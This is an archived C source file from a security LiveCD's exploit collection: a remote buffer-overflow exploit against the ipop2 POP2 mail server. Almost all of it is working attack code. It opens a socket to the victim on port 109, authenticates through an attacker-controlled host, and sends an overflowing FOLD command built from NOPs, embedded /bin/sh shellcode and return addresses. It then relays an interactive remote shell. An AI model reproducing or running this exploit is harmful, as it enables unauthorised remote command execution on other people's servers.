home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop2 / pop2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  192 lines

  1. /*
  2.  * ipop2 remote exploit. *private* please do not distribute.
  3.  * credit goes out to plaguez for the use of his shellcode.
  4.  * greets: smiler, bind, fuck you SDI !
  5.  * i had luck with offsets 0, 500, and 700
  6.  * - xdr
  7.  *     I fixed the alignment thing - its dependant on the hostname AND the
  8.  *     username. Everything works fine now, for me at least. I only tried
  9.  *     it on 2 imap accounts tho. - Smiler
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <unistd.h>
  14. #include <sys/time.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netinet/in.h>
  18. #include <netdb.h>
  19. #include <errno.h>
  20.  
  21. #define    NOP    0x90
  22. #define ADDR    0xbffff32c
  23. #define POP2    109
  24.  
  25. unsigned char shellcode[] =
  26.   "\xeb\x38\x5e\x89\xf3\x89\xd8\x80\x46\x01\x20\x80\x46\x02"
  27.   "\x20\x80\x46\x03\x20\x80\x46\x05\x20\x80\x46\x06\x20\x89"
  28.   "\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa"
  29.   "\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40"
  30.   "\xcd\x80\xe8\xc3\xff\xff\xff\x2f\x42\x49\x4e\x2f\x53\x48";
  31.  
  32. int RunShell(int fd);
  33.  
  34. void
  35. usage(char *data)
  36. {
  37.   fprintf(stderr, "ipop2 remote exploit - xdr\n\n"
  38.           "\tvictim    - victim of attack.\n"
  39.           "\tauth_host - host of imap under your control.\n"
  40.           "\tuser      - username on auth_host.\n"
  41.           "\tpassword  - password on auth_host.\n"
  42.           "\tdelay     - time to wait for authentication.\n"
  43.           "\toffset    - default is zero.\n\n"
  44.           "usage: %s <victim> <auth_host> <username> <password> <delay> [offset]\n",
  45.           data);
  46.   exit(-1);
  47. }
  48.  
  49. int connect_ipop2(char *);
  50. void authenticate_ipop2(int, char *, char *, char *, char *);
  51. void send_overflow(int, int, char *,char *);
  52.  
  53. int
  54. main(int argc, char **argv)
  55. {
  56.   char buf[1024];
  57.   int offset = 0;
  58.   int sockfd;
  59.   if(argc <  6) usage(argv[0]);
  60.   if(argc == 7) offset = atoi(argv[6]);
  61.  
  62.   if((sockfd = connect_ipop2(argv[1])) == -1)
  63.     {
  64.       fprintf(stderr, "connection failed.\n");
  65.       exit(-1);
  66.     }
  67.   authenticate_ipop2(sockfd, argv[2], argv[3], argv[4], argv[5]);
  68.   send_overflow(sockfd, offset, argv[2],argv[3]);
  69.  
  70.   RunShell(sockfd);
  71.   close(sockfd);
  72.   exit(-1);
  73. }
  74.  
  75. int RunShell(int fd)
  76. {
  77.   int n;
  78.   unsigned char buf[1024];
  79.   fd_set rset;
  80.  
  81.   while(1)
  82.     {
  83.       FD_ZERO(&rset);
  84.       FD_SET(fd,&rset);
  85.       FD_SET(STDIN_FILENO,&rset);
  86.       select(fd+1,&rset,NULL,NULL,NULL);
  87.       if (FD_ISSET(fd,&rset))
  88.         {
  89.           n = recv(fd, buf, 1024, 0);
  90.           if (n <= 0)
  91.             {
  92.               fprintf(stderr,"Connection closed\n");
  93.               return -1;
  94.             }
  95.           write(STDOUT_FILENO, buf, n);
  96.         }
  97.       if (FD_ISSET(STDIN_FILENO,&rset))
  98.         {
  99.           n = read(STDIN_FILENO, buf, 1024);
  100.           if (n <= 0)
  101.             {
  102.               return -1;
  103.             }
  104.           send(fd, buf, n, 0);
  105.         }
  106.     }
  107.   return(1);
  108. }
  109.  
  110. int
  111. connect_ipop2(char *remote_host)
  112. {
  113.   struct sockaddr_in saddr;
  114.   struct hostent *lookup;
  115.   int sockfd;
  116.  
  117.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  118.     {
  119.       perror("socket");
  120.       return -1;
  121.     }
  122.  
  123.   if((lookup = gethostbyname(remote_host)) == NULL)
  124.     {
  125.       perror("gethostbyname");
  126.       return -1;
  127.     }
  128.  
  129.   bzero(&saddr, sizeof(struct sockaddr_in));
  130.   saddr.sin_family    = AF_INET;
  131.   saddr.sin_port        = htons(POP2);
  132.   saddr.sin_addr        = *((struct in_addr *)lookup->h_addr);
  133.  
  134.   printf("connecting to %s on port %d...", remote_host, POP2);
  135.   fflush(stdout);
  136.   if(connect(sockfd, (struct sockaddr *)&saddr,
  137.              sizeof(struct sockaddr_in)) == -1)
  138.     {
  139.       perror("connect");
  140.       return -1;
  141.     }
  142.  
  143.   printf("connected.\n");
  144.   fflush(stdout);
  145.   return sockfd;
  146. }
  147. void
  148. authenticate_ipop2(int sockfd, char *phost, char *user, char *pass, char *delay)
  149. {
  150.   char buf[1024];
  151.   int i;
  152.  
  153.   printf("Authenticating with the POP2 server. Giving it %s seconds to breathe.\n", delay);
  154.   fflush(stdout);
  155.   sleep(3);
  156.   snprintf(buf, 1024, "HELO %s:%s %s\r\n", phost, user, pass);
  157.   if(send(sockfd, buf, strlen(buf), 0) == -1)
  158.     perror("send"), exit(-1);
  159.  
  160.   sleep(atoi(delay));
  161.   puts("");
  162. }
  163.  
  164. void
  165. send_overflow(int sockfd, int offset, char *shit,char *shit2)
  166. {
  167.   char buf[1019];
  168.   int i, adjust;
  169.   char *ptr;
  170.  
  171.   if ((ptr = strchr(shit,' '))) *ptr = 0;
  172.   if ((ptr = strchr(shit,'\r'))) *ptr = 0;
  173.   if ((ptr = strchr(shit,'\n'))) *ptr = 0;
  174.   printf("%s\n",shit);
  175.   adjust = strlen(shit) + 1 - strlen(shit2);
  176.   memset(buf, NOP, 1019);
  177.   memcpy(buf, "FOLD ", strlen("FOLD "));
  178.   //    if(strlen(shit) % 2) adjust--;
  179.   for(i = 865+adjust;i < 1019-4;i += 4)
  180.     *(long *)&buf[i] = ADDR + offset;
  181.   memcpy(buf+791, shellcode, strlen(shellcode));
  182.  
  183.   buf[1016] = '\r';
  184.   buf[1017] = '\n';
  185.   buf[1018] = '\0';
  186.  
  187.   if(send(sockfd, buf, strlen(buf), 0) == -1)
  188.     perror("socket"), exit(-1);
  189.  
  190.   printf("Have fun :>\n");
  191. }
  192. /*                    www.hack.co.za              [2000]*/